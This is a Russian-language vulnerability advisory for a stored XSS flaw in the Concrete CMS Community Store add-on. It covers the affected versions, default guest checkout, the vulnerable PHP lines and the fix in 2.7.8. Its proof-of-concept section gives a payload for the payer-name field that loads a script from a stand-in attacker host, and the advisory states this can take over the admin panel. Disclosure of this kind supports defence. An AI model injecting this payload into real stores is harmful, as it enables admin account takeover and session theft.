
Stored XSS в Concrete CMS Community Store приводит к захвату админ-панели
| CVE | CVE-2026-93659 |
| Компонент | concretecms-community-store/community_store |
| Тип | Хранимый межсайтовый скриптинг (CWE-79) |
| Критичность | CVSS v4.0 9.3 Critical / v3.1 8.7 High |
| Затронуто | Все версии до 2.7.8 |
| Исправлено в | 2.7.8 |
| Благодарность | Prince Edem Fiagbedzi (обнаружил) |
Community Store, открытое e-commerce-дополнение для Concrete CMS, сохраняло предоставляемые клиентом поля заказа без их очистки и выводило их без HTML-экранирования в четырёх представлениях, доступных администратору. Любой неаутентифицированный посетитель мог оформить заказ с полезной нагрузкой в виде скрипта в таком поле, как имя плательщика, и эта нагрузка выполнялась внутри аутентифицированной сессии панели управления менеджера магазина при следующем открытии им этого заказа — этого достаточно для создания поддельной учётной записи администратора или похищения данных сессии.
Каждый заказ содержит предоставляемые клиентом поля: имя и фамилия плательщика и получателя, email и телефон. Эти поля сохраняются как есть и выводятся обратно в четырёх местах, которые менеджер магазина регулярно просматривает:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)Что критично, для оформления заказа не требуется учётная запись. Настройка
гостевого оформления заказа в Community Store по умолчанию имеет значение
always, и это задаётся самим установщиком пакета при каждой чистой установке,
а не то, что оператор магазина должен включить вручную. Так что это не баг,
требующий неправильно настроенного магазина; он эксплуатируется против
установки по умолчанию, «из коробки», без каких-либо учётных данных.
Обновите Community Store до 2.7.8 или более поздней версии. Исправление добавляет надлежащее экранирование вывода во все четыре затронутых места рендеринга. Никакого обходного пути через конфигурацию, кроме обновления, нет, поскольку уязвимое поведение — это само экранирование, а не какой-то переключатель.
Ни одно из четырёх мест рендеринга не экранировало контролируемые клиентом поля. Показательная строка из представления заказа в админке:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Никакого вызова h(), стандартного помощника Concrete для экранирования
вывода, нигде рядом, хотя тот же файл корректно использовал h() несколькими
строками ниже для других значений. С валидацией ввода дела обстояли не лучше:
единственной проверкой, применявшейся к этим полям, было ограничение длины
(1–255 символов), ничего, что удаляло бы или отклоняло HTML.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
Полезная нагрузка <script> длиной менее 255 символов в поле имени плательщика
проходит валидацию нетронутой, сохраняется и позже выводится без экранирования
везде, где администратор просматривает заказ.
Значение по умолчанию для гостевого оформления заказа задаётся непосредственно в установщике:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
Контроллер оформления заказа принудительно требует входа только тогда, когда
эта настройка равна off (или option без гостевого флага), а при
установленном по умолчанию значении эта ветка никогда не срабатывает.
Протестировано против Community Store v2.7.7 на Concrete CMS 9.5.2 (самостоятельно развёрнутая лаборатория в Docker, PHP 8.3). Полезная нагрузка отправлена как обычное гостевое оформление заказа, без какой-либо аутентификации:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6,
добавляющий экранирование через h() во все четыре затронутых места рендеринга